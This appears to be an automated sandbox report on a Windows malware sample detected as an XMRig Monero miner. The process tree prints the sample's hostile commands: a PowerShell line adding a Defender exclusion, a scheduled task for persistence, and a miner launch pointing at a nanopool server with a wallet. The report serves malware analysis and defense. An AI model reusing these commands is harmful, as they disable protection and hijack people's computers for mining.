Analysis
- max time kernel
99s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
30/01/2023, 10:22
General
- Target file.exe
- Size 3.4MB
- Sample230130-md891abf2x
- SHA256 4cafc9c8dfd619014def47bb4a50931adf151c3733ea793fd157111a4c90b490
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SRIKA" /tr "C:\ProgramData\versionApp\SRIKA.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SRIKA" /tr "C:\ProgramData\versionApp\SRIKA.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1120-148-0x00007FFD381D0000-0x00007FFD38C91000-memory.dmp
memory/1120-147-0x000001A3DE4C0000-0x000001A3DE4E2000-memory.dmp
memory/2984-151-0x00007FFD381D0000-0x00007FFD38C91000-memory.dmp
memory/2984-137-0x00007FFD556F0000-0x00007FFD55891000-memory.dmp
memory/2984-139-0x0000000000B30000-0x0000000000F74000-memory.dmp
memory/2984-140-0x0000000003810000-0x0000000003851000-memory.dmp
memory/2984-138-0x00007FFD381D0000-0x00007FFD38C91000-memory.dmp
memory/2984-141-0x00007FFD54E50000-0x00007FFD54E7B000-memory.dmp
memory/2984-142-0x0000000000B30000-0x0000000000F74000-memory.dmp
memory/2984-143-0x00007FFD369C0000-0x00007FFD36B0E000-memory.dmp
memory/2984-144-0x00007FFD381D0000-0x00007FFD38C91000-memory.dmp
memory/2984-145-0x00007FFD54050000-0x00007FFD54077000-memory.dmp
memory/2984-136-0x00007FFD38110000-0x00007FFD381CD000-memory.dmp
memory/2984-135-0x00007FFD517F0000-0x00007FFD51802000-memory.dmp
memory/2984-134-0x00007FFD55EE0000-0x00007FFD55F7E000-memory.dmp
memory/2984-149-0x0000000000B30000-0x0000000000F74000-memory.dmp
memory/2984-150-0x0000000003810000-0x0000000003851000-memory.dmp
memory/2984-133-0x00007FFD38CA0000-0x00007FFD38D4A000-memory.dmp
memory/2984-167-0x00007FFD381D0000-0x00007FFD38C91000-memory.dmp
memory/2984-166-0x0000000000B30000-0x0000000000F74000-memory.dmp
memory/2984-154-0x00007FFD32B20000-0x00007FFD32B55000-memory.dmp
memory/2984-155-0x00007FFD32750000-0x00007FFD32852000-memory.dmp
memory/2984-156-0x00007FFD558D0000-0x00007FFD5593B000-memory.dmp
memory/2984-157-0x00007FFD52CA0000-0x00007FFD52CDB000-memory.dmp
memory/4648-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4648-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4648-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4648-162-0x000001384E250000-0x000001384E270000-memory.dmp
memory/4648-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4648-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4648-164-0x000001384E2A0000-0x000001384E2E0000-memory.dmp
memory/4648-169-0x000001384E300000-0x000001384E320000-memory.dmp
memory/4648-168-0x000001384E2E0000-0x000001384E300000-memory.dmp
memory/4648-170-0x000001384E2E0000-0x000001384E300000-memory.dmp
memory/4648-171-0x000001384E300000-0x000001384E320000-memory.dmp